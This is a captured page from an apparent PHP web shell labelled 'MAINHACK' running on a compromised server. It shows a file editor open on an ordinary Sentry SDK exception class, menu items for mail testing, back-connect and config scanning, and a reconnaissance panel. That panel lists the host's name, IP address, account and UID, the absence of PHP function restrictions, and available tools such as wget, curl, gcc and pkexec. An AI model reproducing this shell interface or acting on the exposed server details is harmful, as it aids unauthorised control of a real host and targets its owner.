[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ExceptionDataBag.php
<?php declare(strict_types=1); namespace Sentry; /** * This class represents the Exception Interface and contains the details of an * exception or error that occurred in the program. * * @author Stefano Arlandini <sarlandini@alice.it> */ final class ExceptionDataBag { /** * @var string The type of exception, e.g. RuntimeException */ private $type; /** * @var string The value of the exception */ private $value; /** * @var Stacktrace|null An optional stack trace object corresponding to the Stack Trace Interface */ private $stacktrace; /** * @var ExceptionMechanism|null An optional object describing the mechanism that created this exception */ private $mechanism; public function __construct(\Throwable $exception, ?Stacktrace $stacktrace = null, ?ExceptionMechanism $mechanism = null) { $this->type = \get_class($exception); $this->value = $exception->getMessage(); $this->stacktrace = $stacktrace; $this->mechanism = $mechanism; } /** * Gets the type of exception, e.g. RuntimeException. */ public function getType(): string { return $this->type; } /** * Sets the type of the exception. * * @param string $type The exception type */ public function setType(string $type): void { $this->type = $type; } /** * Gets the value of the exception. */ public function getValue(): string { return $this->value; } /** * Sets the value of the exception. */ public function setValue(string $value): void { $this->value = $value; } /** * Gets the stack trace object corresponding to the Stack Trace Interface. */ public function getStacktrace(): ?Stacktrace { return $this->stacktrace; } /** * Sets the stack trace object corresponding to the Stack Trace Interface. * * @param Stacktrace $stacktrace The stacktrace */ public function setStacktrace(Stacktrace $stacktrace): void { $this->stacktrace = $stacktrace; } /** * Gets the object describing the mechanism that created this exception. */ public function getMechanism(): ?ExceptionMechanism { return $this->mechanism; } /** * Sets the object describing the mechanism that created this exception. * * @param ExceptionMechanism|null $mechanism The mechanism that created this exception */ public function setMechanism(?ExceptionMechanism $mechanism): void { $this->mechanism = $mechanism; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.77 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002